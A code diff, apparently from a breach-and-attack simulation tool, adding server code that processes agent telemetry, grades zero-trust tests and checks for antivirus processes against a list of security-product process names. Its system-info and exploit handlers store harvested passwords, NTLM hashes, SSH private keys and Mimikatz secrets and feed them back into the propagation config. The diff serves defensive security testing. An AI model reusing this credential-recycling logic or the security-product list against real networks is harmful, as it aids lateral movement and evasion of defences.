+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ ],
+ WORKLOADS: []
+ }
+
+ result = ZeroTrustService.get_principles_status()
+ self.assertEquals(result, expected)
+
+ def test_get_pillars_to_statuses(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ self.maxDiff = None
+
+ expected = {
+ AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED,
+ DEVICES: STATUS_UNEXECUTED,
+ NETWORKS: STATUS_UNEXECUTED,
+ PEOPLE: STATUS_UNEXECUTED,
+ VISIBILITY_ANALYTICS: STATUS_UNEXECUTED,
+ WORKLOADS: STATUS_UNEXECUTED,
+ DATA: STATUS_UNEXECUTED
+ }
+
+ self.assertEquals(ZeroTrustService.get_pillars_to_statuses(), expected)
+
+ save_example_findings()
+
+ expected = {
+ AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED,
+ DEVICES: STATUS_FAILED,
+ NETWORKS: STATUS_VERIFY,
+ PEOPLE: STATUS_VERIFY,
+ VISIBILITY_ANALYTICS: STATUS_UNEXECUTED,
+ WORKLOADS: STATUS_UNEXECUTED,
+ DATA: STATUS_FAILED
+ }
+
+ self.assertEquals(ZeroTrustService.get_pillars_to_statuses(), expected)
diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py
new file mode 100644
index 000000000..f4b23f095
--- /dev/null
+++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py
@@ -0,0 +1,150 @@
+import json
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models.zero_trust.finding import Finding
+
+
+class ZeroTrustService(object):
+ @staticmethod
+ def get_pillars_grades():
+ pillars_grades = []
+ for pillar in PILLARS:
+ pillars_grades.append(ZeroTrustService.__get_pillar_grade(pillar))
+ return pillars_grades
+
+ @staticmethod
+ def __get_pillar_grade(pillar):
+ all_findings = Finding.objects()
+ pillar_grade = {
+ "pillar": pillar,
+ STATUS_FAILED: 0,
+ STATUS_VERIFY: 0,
+ STATUS_PASSED: 0,
+ STATUS_UNEXECUTED: 0
+ }
+
+ tests_of_this_pillar = PILLARS_TO_TESTS[pillar]
+
+ test_unexecuted = {}
+ for test in tests_of_this_pillar:
+ test_unexecuted[test] = True
+
+ for finding in all_findings:
+ test_unexecuted[finding.test] = False
+ test_info = TESTS_MAP[finding.test]
+ if pillar in test_info[PILLARS_KEY]:
+ pillar_grade[finding.status] += 1
+
+ pillar_grade[STATUS_UNEXECUTED] = sum(1 for condition in test_unexecuted.values() if condition)
+
+ return pillar_grade
+
+ @staticmethod
+ def get_principles_status():
+ all_principles_statuses = {}
+
+ # init with empty lists
+ for pillar in PILLARS:
+ all_principles_statuses[pillar] = []
+
+ for principle, principle_tests in PRINCIPLES_TO_TESTS.items():
+ for pillar in PRINCIPLES_TO_PILLARS[principle]:
+ all_principles_statuses[pillar].append(
+ {
+ "principle": PRINCIPLES[principle],
+ "tests": ZeroTrustService.__get_tests_status(principle_tests),
+ "status": ZeroTrustService.__get_principle_status(principle_tests)
+ }
+ )
+
+ return all_principles_statuses
+
+ @staticmethod
+ def __get_principle_status(principle_tests):
+ worst_status = STATUS_UNEXECUTED
+ all_statuses = set()
+ for test in principle_tests:
+ all_statuses |= set(Finding.objects(test=test).distinct("status"))
+
+ for status in all_statuses:
+ if ORDERED_TEST_STATUSES.index(status) < ORDERED_TEST_STATUSES.index(worst_status):
+ worst_status = status
+
+ return worst_status
+
+ @staticmethod
+ def __get_tests_status(principle_tests):
+ results = []
+ for test in principle_tests:
+ test_findings = Finding.objects(test=test)
+ results.append(
+ {
+ "test": TESTS_MAP[test][TEST_EXPLANATION_KEY],
+ "status": ZeroTrustService.__get_lcd_worst_status_for_test(test_findings)
+ }
+ )
+ return results
+
+ @staticmethod
+ def __get_lcd_worst_status_for_test(all_findings_for_test):
+ """
+ :param all_findings_for_test: All findings of a specific test (get this using Finding.objects(test={A_TEST}))
+ :return: the "worst" (i.e. most severe) status out of the given findings.
+ lcd stands for lowest common denominator.
+ """
+ current_worst_status = STATUS_UNEXECUTED
+ for finding in all_findings_for_test:
+ if ORDERED_TEST_STATUSES.index(finding.status) < ORDERED_TEST_STATUSES.index(current_worst_status):
+ current_worst_status = finding.status
+
+ return current_worst_status
+
+ @staticmethod
+ def get_all_findings():
+ all_findings = Finding.objects()
+ enriched_findings = [ZeroTrustService.__get_enriched_finding(f) for f in all_findings]
+ return enriched_findings
+
+ @staticmethod
+ def __get_enriched_finding(finding):
+ test_info = TESTS_MAP[finding.test]
+ enriched_finding = {
+ "test": test_info[FINDING_EXPLANATION_BY_STATUS_KEY][finding.status],
+ "test_key": finding.test,
+ "pillars": test_info[PILLARS_KEY],
+ "status": finding.status,
+ "events": ZeroTrustService.__get_events_as_dict(finding.events)
+ }
+ return enriched_finding
+
+ @staticmethod
+ def __get_events_as_dict(events):
+ return [json.loads(event.to_json()) for event in events]
+
+ @staticmethod
+ def get_statuses_to_pillars():
+ results = {
+ STATUS_FAILED: [],
+ STATUS_VERIFY: [],
+ STATUS_PASSED: [],
+ STATUS_UNEXECUTED: []
+ }
+ for pillar in PILLARS:
+ results[ZeroTrustService.__get_status_of_single_pillar(pillar)].append(pillar)
+
+ return results
+
+ @staticmethod
+ def get_pillars_to_statuses():
+ results = {}
+ for pillar in PILLARS:
+ results[pillar] = ZeroTrustService.__get_status_of_single_pillar(pillar)
+
+ return results
+
+ @staticmethod
+ def __get_status_of_single_pillar(pillar):
+ grade = ZeroTrustService.__get_pillar_grade(pillar)
+ for status in ORDERED_TEST_STATUSES:
+ if grade[status] > 0:
+ return status
+ return STATUS_UNEXECUTED
diff --git a/monkey/monkey_island/cc/services/telemetry/__init__.py b/monkey/monkey_island/cc/services/telemetry/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py
new file mode 100644
index 000000000..d90143c09
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py
@@ -0,0 +1,7 @@
+# import all implemented hooks, for brevity of hooks.py file
+from tunnel import process_tunnel_telemetry
+from state import process_state_telemetry
+from exploit import process_exploit_telemetry
+from scan import process_scan_telemetry
+from system_info import process_system_info_telemetry
+from post_breach import process_post_breach_telemetry
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py
new file mode 100644
index 000000000..cf6e9b544
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py
@@ -0,0 +1,58 @@
+import copy
+
+import dateutil
+
+from monkey_island.cc.database import mongo
+from monkey_island.cc.encryptor import encryptor
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.services.edge import EdgeService
+from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry
+from monkey_island.cc.services.telemetry.zero_trust_tests.machine_exploited import test_machine_exploited
+
+
+def process_exploit_telemetry(telemetry_json):
+ encrypt_exploit_creds(telemetry_json)
+ edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json)
+ update_edge_info_with_new_exploit(edge, telemetry_json)
+ update_node_credentials_from_successful_attempts(edge, telemetry_json)
+
+ test_machine_exploited(
+ current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']),
+ exploit_successful=telemetry_json['data']['result'],
+ exploiter=telemetry_json['data']['exploiter'],
+ target_ip=telemetry_json['data']['machine']['ip_addr'],
+ timestamp=telemetry_json['timestamp'])
+
+
+def update_node_credentials_from_successful_attempts(edge, telemetry_json):
+ for attempt in telemetry_json['data']['attempts']:
+ if attempt['result']:
+ found_creds = {'user': attempt['user']}
+ for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']:
+ if len(attempt[field]) != 0:
+ found_creds[field] = attempt[field]
+ NodeService.add_credentials_to_node(edge['to'], found_creds)
+
+
+def update_edge_info_with_new_exploit(edge, telemetry_json):
+ telemetry_json['data']['info']['started'] = dateutil.parser.parse(telemetry_json['data']['info']['started'])
+ telemetry_json['data']['info']['finished'] = dateutil.parser.parse(telemetry_json['data']['info']['finished'])
+ new_exploit = copy.deepcopy(telemetry_json['data'])
+ new_exploit.pop('machine')
+ new_exploit['timestamp'] = telemetry_json['timestamp']
+ mongo.db.edge.update(
+ {'_id': edge['_id']},
+ {'$push': {'exploits': new_exploit}}
+ )
+ if new_exploit['result']:
+ EdgeService.set_edge_exploited(edge)
+
+
+def encrypt_exploit_creds(telemetry_json):
+ attempts = telemetry_json['data']['attempts']
+ for i in range(len(attempts)):
+ for field in ['password', 'lm_hash', 'ntlm_hash']:
+ credential = attempts[i][field]
+ if len(credential) > 0:
+ attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
new file mode 100644
index 000000000..c64849905
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
@@ -0,0 +1,27 @@
+from monkey_island.cc.database import mongo
+from common.data.post_breach_consts import *
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.services.telemetry.zero_trust_tests.communicate_as_new_user import test_new_user_communication
+
+
+def process_communicate_as_new_user_telemetry(telemetry_json):
+ current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+ message = telemetry_json['data']['result'][0]
+ success = telemetry_json['data']['result'][1]
+ test_new_user_communication(current_monkey, success, message)
+
+
+POST_BREACH_TELEMETRY_PROCESSING_FUNCS = {
+ POST_BREACH_COMMUNICATE_AS_NEW_USER: process_communicate_as_new_user_telemetry,
+}
+
+
+def process_post_breach_telemetry(telemetry_json):
+ mongo.db.monkey.update(
+ {'guid': telemetry_json['monkey_guid']},
+ {'$push': {'pba_results': telemetry_json['data']}})
+
+ post_breach_action_name = telemetry_json["data"]["name"]
+ if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS:
+ POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json)
+
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py
new file mode 100644
index 000000000..154096f79
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py
@@ -0,0 +1,29 @@
+import logging
+
+from monkey_island.cc.services.telemetry.processing import *
+
+logger = logging.getLogger(__name__)
+
+TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = \
+ {
+ 'tunnel': process_tunnel_telemetry,
+ 'state': process_state_telemetry,
+ 'exploit': process_exploit_telemetry,
+ 'scan': process_scan_telemetry,
+ 'system_info': process_system_info_telemetry,
+ 'post_breach': process_post_breach_telemetry,
+ # `lambda *args, **kwargs: None` is a no-op.
+ 'trace': lambda *args, **kwargs: None,
+ 'attack': lambda *args, **kwargs: None,
+ }
+
+
+def process_telemetry(telemetry_json):
+ try:
+ telem_category = telemetry_json.get('telem_category')
+ if telem_category in TELEMETRY_CATEGORY_TO_PROCESSING_FUNC:
+ TELEMETRY_CATEGORY_TO_PROCESSING_FUNC[telem_category](telemetry_json)
+ else:
+ logger.info('Got unknown type of telemetry: %s' % telem_category)
+ except Exception as ex:
+ logger.error("Exception caught while processing telemetry. Info: {}".format(ex.message), exc_info=True)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py
new file mode 100644
index 000000000..bea451170
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py
@@ -0,0 +1,44 @@
+import copy
+
+from monkey_island.cc.database import mongo
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry
+from monkey_island.cc.services.telemetry.zero_trust_tests.data_endpoints import test_open_data_endpoints
+from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import test_segmentation_violation
+
+
+def process_scan_telemetry(telemetry_json):
+ update_edges_and_nodes_based_on_scan_telemetry(telemetry_json)
+ test_open_data_endpoints(telemetry_json)
+
+ current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+ target_ip = telemetry_json['data']['machine']['ip_addr']
+ test_segmentation_violation(current_monkey, target_ip)
+
+
+def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json):
+ edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json)
+ data = copy.deepcopy(telemetry_json['data']['machine'])
+ ip_address = data.pop("ip_addr")
+ domain_name = data.pop("domain_name")
+ new_scan = \
+ {
+ "timestamp": telemetry_json["timestamp"],
+ "data": data
+ }
+ mongo.db.edge.update(
+ {"_id": edge["_id"]},
+ {"$push": {"scans": new_scan},
+ "$set": {"ip_address": ip_address, 'domain_name': domain_name}}
+ )
+ node = mongo.db.node.find_one({"_id": edge["to"]})
+ if node is not None:
+ scan_os = new_scan["data"]["os"]
+ if "type" in scan_os:
+ mongo.db.node.update({"_id": node["_id"]},
+ {"$set": {"os.type": scan_os["type"]}},
+ upsert=False)
+ if "version" in scan_os:
+ mongo.db.node.update({"_id": node["_id"]},
+ {"$set": {"os.version": scan_os["version"]}},
+ upsert=False)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py
new file mode 100644
index 000000000..4e164e900
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py
@@ -0,0 +1,17 @@
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import \
+ test_passed_findings_for_unreached_segments
+
+
+def process_state_telemetry(telemetry_json):
+ monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
+ NodeService.add_communication_info(monkey, telemetry_json['command_control_channel'])
+ if telemetry_json['data']['done']:
+ NodeService.set_monkey_dead(monkey, True)
+ else:
+ NodeService.set_monkey_dead(monkey, False)
+
+ if telemetry_json['data']['done']:
+ current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+ test_passed_findings_for_unreached_segments(current_monkey)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py
new file mode 100644
index 000000000..ebf11c219
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py
@@ -0,0 +1,99 @@
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services import mimikatz_utils
+from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.config import ConfigService
+from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence import test_antivirus_existence
+from monkey_island.cc.services.wmi_handler import WMIHandler
+from monkey_island.cc.encryptor import encryptor
+
+
+def process_system_info_telemetry(telemetry_json):
+ process_ssh_info(telemetry_json)
+ process_credential_info(telemetry_json)
+ process_mimikatz_and_wmi_info(telemetry_json)
+ process_aws_data(telemetry_json)
+ test_antivirus_existence(telemetry_json)
+
+
+def process_ssh_info(telemetry_json):
+ if 'ssh_info' in telemetry_json['data']:
+ ssh_info = telemetry_json['data']['ssh_info']
+ encrypt_system_info_ssh_keys(ssh_info)
+ if telemetry_json['data']['network_info']['networks']:
+ # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry
+ add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info)
+ add_system_info_ssh_keys_to_config(ssh_info)
+
+
+def add_system_info_ssh_keys_to_config(ssh_info):
+ for user in ssh_info:
+ ConfigService.creds_add_username(user['name'])
+ # Public key is useless without private key
+ if user['public_key'] and user['private_key']:
+ ConfigService.ssh_add_keys(user['public_key'], user['private_key'],
+ user['name'], user['ip'])
+
+
+def add_ip_to_ssh_keys(ip, ssh_info):
+ for key in ssh_info:
+ key['ip'] = ip['addr']
+
+
+def encrypt_system_info_ssh_keys(ssh_info):
+ for idx, user in enumerate(ssh_info):
+ for field in ['public_key', 'private_key', 'known_hosts']:
+ if ssh_info[idx][field]:
+ ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8'))
+
+
+def process_credential_info(telemetry_json):
+ if 'credentials' in telemetry_json['data']:
+ creds = telemetry_json['data']['credentials']
+ encrypt_system_info_creds(creds)
+ add_system_info_creds_to_config(creds)
+ replace_user_dot_with_comma(creds)
+
+
+def replace_user_dot_with_comma(creds):
+ for user in creds:
+ if -1 != user.find('.'):
+ new_user = user.replace('.', ',')
+ creds[new_user] = creds.pop(user)
+
+
+def add_system_info_creds_to_config(creds):
+ for user in creds:
+ ConfigService.creds_add_username(user)
+ if 'password' in creds[user]:
+ ConfigService.creds_add_password(creds[user]['password'])
+ if 'lm_hash' in creds[user]:
+ ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
+ if 'ntlm_hash' in creds[user]:
+ ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
+
+
+def encrypt_system_info_creds(creds):
+ for user in creds:
+ for field in ['password', 'lm_hash', 'ntlm_hash']:
+ if field in creds[user]:
+ # this encoding is because we might run into passwords which are not pure ASCII
+ creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
+
+
+def process_mimikatz_and_wmi_info(telemetry_json):
+ users_secrets = {}
+ if 'mimikatz' in telemetry_json['data']:
+ users_secrets = mimikatz_utils.MimikatzSecrets. \
+ extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', ''))
+ if 'wmi' in telemetry_json['data']:
+ monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
+ wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
+ wmi_handler.process_and_handle_wmi_info()
+
+
+def process_aws_data(telemetry_json):
+ if 'aws' in telemetry_json['data']:
+ if 'instance_id' in telemetry_json['data']['aws']:
+ monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
+ mongo.db.monkey.update_one({'_id': monkey_id},
+ {'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}})
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py
new file mode 100644
index 000000000..1598b144a
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py
@@ -0,0 +1,13 @@
+from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field
+from monkey_island.cc.services.telemetry.zero_trust_tests.tunneling import test_tunneling_violation
+
+
+def process_tunnel_telemetry(telemetry_json):
+ test_tunneling_violation(telemetry_json)
+ monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
+ if telemetry_json['data']['proxy'] is not None:
+ tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(telemetry_json)
+ NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip)
+ else:
+ NodeService.unset_all_monkey_tunnels(monkey_id)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/utils.py b/monkey/monkey_island/cc/services/telemetry/processing/utils.py
new file mode 100644
index 000000000..466b81bf1
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/utils.py
@@ -0,0 +1,18 @@
+from monkey_island.cc.services.edge import EdgeService
+from monkey_island.cc.services.node import NodeService
+
+
+def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
+ dst_ip = telemetry_json['data']['machine']['ip_addr']
+ dst_domain_name = telemetry_json['data']['machine']['domain_name']
+ src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
+ dst_node = NodeService.get_monkey_by_ip(dst_ip)
+ if dst_node is None:
+ dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name)
+
+ return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
+
+
+def get_tunnel_host_ip_from_proxy_field(telemetry_json):
+ tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
+ return tunnel_host_ip
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/__init__.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py
new file mode 100644
index 000000000..b8b8c559b
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py
@@ -0,0 +1,47 @@
+import json
+
+from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, \
+ STATUS_PASSED, STATUS_FAILED, TEST_ENDPOINT_SECURITY_EXISTS
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.services.telemetry.zero_trust_tests.known_anti_viruses import ANTI_VIRUS_KNOWN_PROCESS_NAMES
+
+
+def test_antivirus_existence(telemetry_json):
+ current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+ if 'process_list' in telemetry_json['data']:
+ process_list_event = Event.create_event(
+ title="Process list",
+ message="Monkey on {} scanned the process list".format(current_monkey.hostname),
+ event_type=EVENT_TYPE_MONKEY_LOCAL)
+ events = [process_list_event]
+
+ av_processes = filter_av_processes(telemetry_json)
+
+ for process in av_processes:
+ events.append(Event.create_event(
+ title="Found AV process",
+ message="The process '{}' was recognized as an Anti Virus process. Process "
+ "details: {}".format(process[1]['name'], json.dumps(process[1])),
+ event_type=EVENT_TYPE_MONKEY_LOCAL
+ ))
+
+ if len(av_processes) > 0:
+ test_status = STATUS_PASSED
+ else:
+ test_status = STATUS_FAILED
+ AggregateFinding.create_or_add_to_existing(
+ test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events
+ )
+
+
+def filter_av_processes(telemetry_json):
+ all_processes = telemetry_json['data']['process_list'].items()
+ av_processes = []
+ for process in all_processes:
+ process_name = process[1]['name']
+ # This is for case-insensitive `in`. Generator expression is to save memory.
+ if process_name.upper() in (known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES):
+ av_processes.append(process)
+ return av_processes
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py
new file mode 100644
index 000000000..6c5b1154b
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py
@@ -0,0 +1,37 @@
+from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK, STATUS_FAILED, TEST_COMMUNICATE_AS_NEW_USER, \
+ STATUS_PASSED
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
+from monkey_island.cc.models.zero_trust.event import Event
+
+COMM_AS_NEW_USER_FAILED_FORMAT = "Monkey on {} couldn't communicate as new user. Details: {}"
+COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \
+ "New user created by Monkey on {} successfully tried to communicate with the internet. Details: {}"
+
+
+def test_new_user_communication(current_monkey, success, message):
+ AggregateFinding.create_or_add_to_existing(
+ test=TEST_COMMUNICATE_AS_NEW_USER,
+ # If the monkey succeeded to create a user, then the test failed.
+ status=STATUS_FAILED if success else STATUS_PASSED,
+ events=[
+ get_attempt_event(current_monkey),
+ get_result_event(current_monkey, message, success)
+ ]
+ )
+
+
+def get_attempt_event(current_monkey):
+ tried_to_communicate_event = Event.create_event(
+ title="Communicate as new user",
+ message="Monkey on {} tried to create a new user and communicate from it.".format(current_monkey.hostname),
+ event_type=EVENT_TYPE_MONKEY_NETWORK)
+ return tried_to_communicate_event
+
+
+def get_result_event(current_monkey, message, success):
+ message_format = COMM_AS_NEW_USER_SUCCEEDED_FORMAT if success else COMM_AS_NEW_USER_FAILED_FORMAT
+
+ return Event.create_event(
+ title="Communicate as new user",
+ message=message_format.format(current_monkey.hostname, message),
+ event_type=EVENT_TYPE_MONKEY_NETWORK)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
new file mode 100644
index 000000000..68a7f713d
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
@@ -0,0 +1,70 @@
+import json
+
+from common.data.network_consts import ES_SERVICE
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline
+from monkey_island.cc.models.zero_trust.event import Event
+
+HTTP_SERVERS_SERVICES_NAMES = ['tcp-80']
+
+
+def test_open_data_endpoints(telemetry_json):
+ services = telemetry_json["data"]["machine"]["services"]
+ current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+ found_http_server_status = STATUS_PASSED
+ found_elastic_search_server = STATUS_PASSED
+
+ events = [
+ Event.create_event(
+ title="Scan Telemetry",
+ message="Monkey on {} tried to perform a network scan, the target was {}.".format(
+ current_monkey.hostname,
+ telemetry_json["data"]["machine"]["ip_addr"]),
+ event_type=EVENT_TYPE_MONKEY_NETWORK,
+ timestamp=telemetry_json["timestamp"]
+ )
+ ]
+
+ for service_name, service_data in services.items():
+ events.append(Event.create_event(
+ title="Scan telemetry analysis",
+ message="Scanned service: {}.".format(service_name),
+ event_type=EVENT_TYPE_MONKEY_NETWORK
+ ))
+ if service_name in HTTP_SERVERS_SERVICES_NAMES:
+ found_http_server_status = STATUS_FAILED
+ events.append(Event.create_event(
+ title="Scan telemetry analysis",
+ message="Service {} on {} recognized as an open data endpoint! Service details: {}".format(
+ service_data["display_name"],
+ telemetry_json["data"]["machine"]["ip_addr"],
+ json.dumps(service_data)
+ ),
+ event_type=EVENT_TYPE_MONKEY_NETWORK
+ ))
+ if service_name == ES_SERVICE:
+ found_elastic_search_server = STATUS_FAILED
+ events.append(Event.create_event(
+ title="Scan telemetry analysis",
+ message="Service {} on {} recognized as an open data endpoint! Service details: {}".format(
+ service_data["display_name"],
+ telemetry_json["data"]["machine"]["ip_addr"],
+ json.dumps(service_data)
+ ),
+ event_type=EVENT_TYPE_MONKEY_NETWORK
+ ))
+
+ AggregateFinding.create_or_add_to_existing(
+ test=TEST_DATA_ENDPOINT_HTTP,
+ status=found_http_server_status,
+ events=events
+ )
+
+ AggregateFinding.create_or_add_to_existing(
+ test=TEST_DATA_ENDPOINT_ELASTIC,
+ status=found_elastic_search_server,
+ events=events
+ )
+
+ add_malicious_activity_to_timeline(events)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py
new file mode 100644
index 000000000..e5d7c2355
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py
@@ -0,0 +1,87 @@
+ANTI_VIRUS_KNOWN_PROCESS_NAMES = [
+ u"AvastSvc.exe",
+ u"AvastUI.exe",
+ u"avcenter.exe",
+ u"avconfig.exe",
+ u"avgcsrvx.exe",
+ u"avgidsagent.exe",
+ u"avgnt.exe",
+ u"avgrsx.exe",
+ u"avguard.exe",
+ u"avgui.exe",
+ u"avgwdsvc.exe",
+ u"avp.exe",
+ u"avscan.exe",
+ u"bdagent.exe",
+ u"ccuac.exe",
+ u"egui.exe",
+ u"hijackthis.exe",
+ u"instup.exe",
+ u"keyscrambler.exe",
+ u"mbam.exe",
+ u"mbamgui.exe",
+ u"mbampt.exe",
+ u"mbamscheduler.exe",
+ u"mbamservice.exe",
+ u"MpCmdRun.exe",
+ u"MSASCui.exe",
+ u"MsMpEng.exe",
+ u"rstrui.exe",
+ u"spybotsd.exe",
+ u"zlclient.exe",
+ u"SymCorpUI.exe",
+ u"ccSvcHst.exe",
+ u"ccApp.exe",
+ u"LUALL.exe",
+ u"SMC.exe",
+ u"SMCgui.exe",
+ u"Rtvscan.exe",
+ u"LuComServer.exe",
+ u"ProtectionUtilSurrogate.exe",
+ u"ClientRemote.exe",
+ u"SemSvc.exe",
+ u"SemLaunchSvc.exe",
+ u"sesmcontinst.exe",
+ u"LuCatalog.exe",
+ u"LUALL.exe",
+ u"LuCallbackProxy.exe",
+ u"LuComServer_3_3.exe",
+ u"httpd.exe",
+ u"dbisqlc.exe",
+ u"dbsrv16.exe",
+ u"semapisrv.exe",
+ u"snac64.exe",
+ u"AutoExcl.exe",
+ u"DoScan.exe",
+ u"nlnhook.exe",
+ u"SavUI.exe",
+ u"SepLiveUpdate.exe",
+ u"Smc.exe",
+ u"SmcGui.exe",
+ u"SymCorpUI.exe",
+ u"symerr.exe",
+ u"ccSvcHst.exe",
+ u"DevViewer.exe",
+ u"DWHWizrd.exe",
+ u"RtvStart.exe",
+ u"roru.exe",
+ u"WSCSAvNotifier",
+ # Guardicore Centra
+ # Linux
+ u"gc-agents-service",
+ u"gc-guest-agent",
+ u"gc-guardig",
+ u"gc-digger",
+ u"gc-fastpath",
+ u"gc-enforcement-agent",
+ u"gc-enforcement-channel",
+ u"gc-detection-agent",
+ # Windows
+ u"gc-guest-agent.exe",
+ u"gc-windig.exe",
+ u"gc-digger.exe",
+ u"gc-fastpath.exe",
